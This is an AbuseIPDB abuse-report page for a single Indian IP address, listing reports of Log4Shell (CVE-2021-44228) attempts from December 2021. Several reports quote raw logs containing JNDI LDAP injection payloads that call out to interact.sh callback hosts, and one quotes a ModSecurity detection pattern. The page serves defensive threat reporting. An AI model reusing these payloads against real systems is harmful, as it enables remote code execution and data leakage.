JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 49.37.144.105

49.37.144.105 was found in our database!

This IP was reported 22 times. Confidence of Abuse is 0%: ?

ISP	Reliance Jio Infocomm Limited
Usage Type	Fixed Line ISP
ASN	AS55836
Domain Name	jio.com
Country	🇮🇳 India
City	Hyderabad, Telangana

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 49.37.144.105

Whois 49.37.144.105

IP Abuse Reports for 49.37.144.105:

This IP address has been reported a total of 22 times from 21 distinct sources. 49.37.144.105 was first reported on January 27th 2021, and the most recent report was 1 year ago.

Old Reports: The most recent abuse report for this IP address is from 1 year ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇮🇳 TC Saini	2024-08-08 14:01:37 (1 year ago)	Indicators of compromise (IoCs) reported by the GOVT of India	Blog Spam Exploited Host IoT Targeted
🇵🇹 PT	2022-01-26 14:11:35 (4 years ago)	Log4j (log4shell) RCE attack attempt: CVE-2021-44228	Hacking Web App Attack
Anonymous	2021-12-27 03:38:12 (4 years ago)	Excessive crawling/scraping	Hacking Brute-Force
🇳🇱 speedtaq.com	2021-12-26 17:53:41 (4 years ago)	49.37.144.105 - - [26/Dec/2021:23:53:39 +0100] "GET /?x=${jndi:ldap://${hostName}.c74c7tk1nvnmk2e7r9 ... show more 49.37.144.105 - - [26/Dec/2021:23:53:39 +0100] "GET /?x=${jndi:ldap://${hostName}.c74c7tk1nvnmk2e7r9h0c8rxr8yydhhy1.interact.sh/a} HTTP/1.1" 301 5146 "${jndi:ldap://${hostName}.referer.c74c7tk1nvnmk2e7r9h0c8rxr8yydhhbk.interact.sh}" "${jndi:ldap://${hostName}.useragent.c74c7tk1nvnmk2e7r9h0c8rxr8yydhhbq.interact.sh}" show less	Hacking
🇬🇧 sdos.es	2021-12-26 16:45:05 (4 years ago)	"Remote Command Execution: Unix Shell Code Found - Matched Data: ${HOSTNAME} found within REQUEST_CO ... show more "Remote Command Execution: Unix Shell Code Found - Matched Data: ${HOSTNAME} found within REQUEST_COOKIES:${jndi:ldap://${hostName}.cookiename.c74c7tk1nvnmk2e7r9h0c8rqrnoyntrck.interact.sh}: ${jndi:ldap:/${hostname}.cookievalue.c74c7tk1nvnmk2e7r9h0c8rqrnoyntrcc.interact.sh}" show less	Web App Attack
🇲🇾 syokadmin	2021-12-26 15:20:55 (4 years ago)	(mod_security) mod_security (id:932110) triggered by 49.37.144.105 (IN/India/-): 1 in the last 3600 ... show more (mod_security) mod_security (id:932110) triggered by 49.37.144.105 (IN/India/-): 1 in the last 3600 secs show less	Brute-Force
🇬🇧 openstrike.co.uk	2021-12-21 01:06:17 (4 years ago)	3 attacks on log4j attacks like: 49.37.144.105 - - [20/Dec/2021:10:48:47 +0000] "GET /?x=${jndi:ldap ... show more 3 attacks on log4j attacks like: 49.37.144.105 - - [20/Dec/2021:10:48:47 +0000] "GET /?x=${jndi:ldap://${hostName}.c7050t41nvnkba3p2ragc8yf6tyyyoc5n.interact.sh/a} HTTP/1.1" 200 72 show less	Hacking
🇷🇺 Duty_infosec	2021-12-20 15:19:24 (4 years ago)	CVE-2021-44228 (Log4j)	Hacking
🇮🇩 hermawan	2021-12-18 07:50:05 (4 years ago)	[Sat Dec 18 19:49:51.756622 2021] [:error] [pid 4077:tid 139907150378752] [client 49.37.144.105:6181 ... show more [Sat Dec 18 19:49:51.756622 2021] [:error] [pid 4077:tid 139907150378752] [client 49.37.144.105:61816] [client 49.37.144.105] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:;\|\\\\{\|\\\\\|\|\\\\\|\\\\\|\|&\|&&\|\\\\n\|\\\\r\|`)\\\\s[\\\$,@\\\\'\\"\\\\s](?:[\\\\w'\\"\\\\./]+/\|[\\\\\\\\'\\"\\\\^]\\\\w[\\\\\\\\'\\"\\\\^]:.\\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]\\\\\\\$?[\\"\\\\^](?:m[\\"\\\\^](?:y[\\"\\\\^]s[\\"\\\\^]q[\\"\\\\^]l(?:[\\"\\\\^](?:d[\\"\\\\^]u[\\"\\\\^]m[\\"\\\\^]p(?:[\\"\\\\^]s[\\"\\\\^ ..." at ARGS:x. [file "/etc/modsecurity/coreruleset-3.3.2/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "257"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {hostName found within ARGS:x: ${jndi:ldap://${hostName}.c6ur2gc1nvnt2igjhqngcg67tjayy7d8a.interact.sh/a}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] ... show less	Hacking Web App Attack
🇬🇧 Steve	2021-12-17 15:26:24 (4 years ago)	Attempted Log4j abuse	Hacking Web App Attack
🇲🇾 syokadmin	2021-12-17 06:51:45 (4 years ago)	(mod_security) mod_security (id:932110) triggered by 49.37.144.105 (IN/India/-): 1 in the last 3600 ... show more (mod_security) mod_security (id:932110) triggered by 49.37.144.105 (IN/India/-): 1 in the last 3600 secs show less	Brute-Force
🇮🇪 RoboSOC	2021-12-17 04:14:43 (4 years ago)	Apache Log4j Remote Code Execution Vulnerability, PTR: PTR record not found	Hacking
🇵🇱 NSOC	2021-12-15 13:17:25 (4 years ago)	attack=Log4Shell IoCs	Web App Attack
🇮🇳 Parth Maniar	2021-12-15 03:59:51 (4 years ago)	This IP carried out Apache Log4j RCE Attempt(s) (also known as CVE-2021-44228 or Log4Shell). For mor ... show more This IP carried out Apache Log4j RCE Attempt(s) (also known as CVE-2021-44228 or Log4Shell). For more information, or to report interesting/incorrect findings, give me a shoutout on @parthmaniar on Twitter. show less	Hacking Web App Attack
Anonymous	2021-12-14 17:38:45 (4 years ago)	Hacking.	Hacking Brute-Force Web App Attack

Showing 1 to 15 of 22 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 162.216.150.241

🇺🇸 154.83.197.127

🇱🇹 77.90.185.20

🇧🇷 205.210.31.204

🇹🇼 198.235.24.109

🇵🇱 176.53.159.198

🇻🇳 163.223.13.54

🇺🇸 159.65.161.161

🇹🇭 110.77.161.60

🇻🇳 103.167.90.90

🇷🇺 92.241.18.101

🇳🇱 91.92.40.231

🇳🇱 91.92.40.6

🇺🇸 66.132.186.176

🇺🇸 66.78.6.100

🇱🇺 64.89.161.91

🇹🇳 41.224.62.206

🇺🇸 20.106.206.76

🇺🇸 2607:f8b0:4004:c29::12a

🇺🇸 195.184.76.107